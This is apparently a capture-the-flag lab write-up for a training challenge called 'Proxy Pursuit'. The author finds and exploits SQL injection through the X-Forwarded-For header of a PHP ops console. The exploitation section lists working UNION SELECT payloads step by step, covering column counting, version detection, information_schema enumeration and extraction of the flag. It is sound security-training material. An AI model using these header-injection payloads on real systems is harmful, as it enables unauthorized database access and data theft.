Proxy Pursuit
LoadMesh's ops console shows live connection telemetry. Behind the login, one of the pages trusts a header the user fully controls. Login with admin / admin. The injection is not on any form.
Room Description

https://dashboard.webverselabs-pro.com/challenges/proxy-pursuit
Scenario
LoadMesh's ops console trusts X-Forwarded-For for per-IP connection filtering — a classic oversight for infra that normally sits behind a trusted reverse proxy. The moment the console is exposed directly, that trust is a free SELECT. Credentials are admin / admin.
Objective
LoadMesh's ops console shows live connection telemetry. Behind the login, one of the pages trusts a header the user fully controls. Login with admin / admin. The injection is not on any form.
Initial Analysis
Let's get going, this should be the highest difficulty of the challenges so far.
We are met with a login page when we first open the URL, as far as I can see this is just fluff for now for added realism, we have the login credentials at the bottom.

<div class="hint">
Dev build credentials: <code>admin / admin</code>
</div>
Once pass the login page we have a dashboard with information.

From the side navigation we can see the following endpoints, there isn't anything else that would cause redirection on the dashboard otherwise, just the side-nav:
<nav class="side-nav">
<a href="/dashboard.php" class="active"><span class="ico">▢</span>Dashboard</a>
<a href="/pools.php" class=""><span class="ico">◇</span>Pools</a>
<a href="/targets.php" class=""><span class="ico">⚙</span>Targets</a>
<a href="/connections.php" class=""><span class="ico">↯</span>Connections</a>
<a href="/analytics.php" class=""><span class="ico">⎙</span>Analytics</a>
<a href="#" class="disabled"><span class="ico">⚒</span>Settings</a>
</nav>
From the dashboard.php URL, we can instantly tell it's a PHP based application, but we can also see this through the headers of the application.
HTTP/2 200 OK
Date: Mon, 27 Apr 2026 16:13:36 GMT
Content-Type: text/html; charset=UTF-8
Server: cloudflare
X-Powered-By: PHP/8.2.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: camera=(), microphone=(), geolocation=()
Nel: {"report_to":"cf-nel","success_fraction":0.0,"max_age":604800}
Cf-Cache-Status: DYNAMIC
Server-Timing: cfCacheStatus;desc="DYNAMIC"
Server-Timing: cfEdge;dur=7,cfOrigin;dur=572
Report-To: {"group":"cf-nel","max_age":604800,"endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=vF%2FlUTpbLUkb8R5LFT%2BqcyQgJaOF%2Baen7odgAvxxil57elaeXuZZVaeKV%2BaZuHK3nfT5W8jPAN%2BXFJDuUrrslHR%2BsuHfGPk4IW15619NYGC7zCG4stRZlyNInqaxThDGQJblKyGepB92dFYJAQAPhfAcNAdJhv7RD779sljGnbFCyBYVvV4seC62uuzyEqbH0%2B7wfw%3D%3D"}]}
Cf-Ray: 9f2f1d8d6ff1d0ca-SOF
Alt-Svc: h3=":443"; ma=86400
Finding the bug
Alrighty, so before we start going through the application, we can heed the description of the lab to make it easier to find what we are looking for.
LoadMesh's ops console trusts X-Forwarded-For for per-IP connection filtering
This means that somewhere, something, is probably vulnerable to X-Forwarder-For malicious requests, the best way to find where we get some kind of different request is to compare requests everywhere with an without a X-Forwarded-For header.
https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/X-Forwarded-For
https://portswigger.net/kb/issues/00400110_spoofable-client-ip-address
If an application trusts an HTTP request header like X-Forwarded-For to accurately specify the remote IP address of the connecting client, then malicious clients can spoof their IP address. This behavior does not necessarily constitute a security vulnerability, however some applications use client IP addresses to enforce access controls and rate limits. For example, an application might expose administrative functionality only to clients connecting from the local IP address of the server, or allow a certain number of failed login attempts from each unique IP address.
The easiest way for me to get a visual look after the header changes, as well as easy mode changing header requests is with ModHeader.
Otherwise, Burp Suite works perfectly fine as well.
Let's get a baseline of what the pages look like without our header. We've already seen the dashboard.

At /pools.php we have an option to create pools, but if this is a Stored SQLi thing, then it's going to take ages to finish.

For /targets.php we have a similar setup, we can control targets through adding and deleting.

Hm, /connections.php seems rather empty.

Lastly, we have /analytics.php, which also, doesn't seem to have anything of note.
Alrighty, so we install ModHeader as an extension, we input a X-Forwarder-For header with a random value that we can easily look for in the responses.

Don't mind the old headers, just there from other tasks :eyes:.
Now it's time to go through the application again and look for ANY discrepancies.
What our GET request looks like without the X-Forwarded-For header:
GET /dashboard.php HTTP/2
Host: b27b1ce4-3970-proxy-pursuit-67058.challenges.webverselabs-pro.com
Cookie: PHPSESSID=873d7495ed22425cc1b698b0934008e6
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand";v="8", "Chromium";v="147"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Referer: https://b27b1ce4-3970-proxy-pursuit-67058.challenges.webverselabs-pro.com/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=0, i
We just blop an extra value if we're doing this with Burp that's like this exactly:
X-Forwarded-For: test12345
For /dashboard.php, we have 0 matches.

Same outcome for /pools.php:

And uhm, we don't see anything different either from /targets.php:

But, we finally have something when we navigate to /connections.php!

Luckily for this particular bug, the input of the X-Forwarded-For header is reflected back to us, otherwise, another way we could have tracked this down is to check for difference in content-length for the responses with our new header and without.

Filtered by client IP: <value>
That phrasing is subtle, but important. It implies:
- The backend is taking an IP value
- Using it to filter database results
- And reflecting it back to the user
Since that value comes from X-Forwarded-For, we fully control it.
The natural instinct is to try a basic injection:
X-Forwarded-For: 1' OR '1'='1

The payload came back reflected, but nothing changed. No extra rows, no errors, no visible effect.
At this point, there are two possibilities:
- The input is sanitized
- The injection context isn’t what we assumed
Rather than forcing boolean logic, it made more sense to probe the query structure itself.
Let's try a UNION-based attack where we inject our own value and see how the web app reacts to it.
1' UNION SELECT 'pwned'--

We get an error back that our query is badly structured, hm, let's try to add a trailing dash and see if anything is different.
1' UNION SELECT 'pwned'-- -

This is amazing progress! So we know this type of attack would work, we just need to find the right amount of columns, we can re-use the same payload just with more values unitl we get a hit.
Exploitation
Knowing that we only need to find columns, let's adapt our payload. We can try with 3 columns first and foremost, the least I've seen in these challenges are 2, but 3 and up always makes more sense.
https://portswigger.net/web-security/sql-injection/union-attacks
The second method involves submitting a series ofUNION SELECTpayloads specifying a different number of null values:' UNION SELECT NULL-- ' UNION SELECT NULL,NULL-- ' UNION SELECT NULL,NULL,NULL-- etc.
If the number of nulls does not match the number of columns, the database returns an error, such as:All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
We useNULLas the values returned from the injectedSELECTquery because the data types in each column must be compatible between the original and the injected queries.NULLis convertible to every common data type, so it maximizes the chance that the payload will succeed when the column count is correct.
1' UNION SELECT 'pwned',NULL,NULL-- -

Well hello hello, we have our own personal row, we can of course manipulate the other two columns since they listened to us with the NULL values and didn't error out as well. Now it's time to enumerate the database.
Not only that, but we probably have the column names as well, timestamp, target and bytes.
From the behavior, the backend is likely doing something along the lines of:
SELECT timestamp, target, bytes
FROM connections
WHERE client_ip = '$ip'
Our payload closes the string:
'1'
Then appends:
UNION SELECT 'pwned',NULL,NULL
And comments out the rest.
Since we have our SQL Injection angle, time to get information, first things first, let's confirm what kind of database we are working with.
1' UNION SELECT @@version,2,3-- -

This confirms that we are working with MySQL/MariaDB syntax and that we can use information_schema for further enumeration.
For knowledge and posterity sake, MySQL exposes a built-in database called information_schema that contains:
- All table names
- All column names
- Database structure
https://dev.mysql.com/doc/refman/8.0/en/information-schema.html
Let's find out the table names from information_schema:
1' UNION SELECT table_name,2,3
FROM information_schema.tables-- -

That is a lot of table names, but if we scroll to the end we can see what we are after.

In the future, since this way we are querying all the databases, we can try and select the current one in use with:
1' UNION SELECT database(),2,3 -- -

So we would adapt our previous payload to:
1' UNION SELECT table_name,2,3 FROM information_schema.tables WHERE table_schema=database()-- -
and get a more refined result:

Now we have the following tables to work with:
targets
connections
users
pools
admin_panel
To me, admin_panel sounds the juiciest, so let's go with that.
1' UNION SELECT column_name,2,3 FROM information_schema.columns WHERE table_name='admin_panel'-- -

Well that seems pretty simple then, let's extract the information from flag.
1' UNION SELECT flag,2,3 FROM admin_panel-- -

Amazing lab, showing that injections can happen through Request headers as well, rather than just input fields, enumerate everything!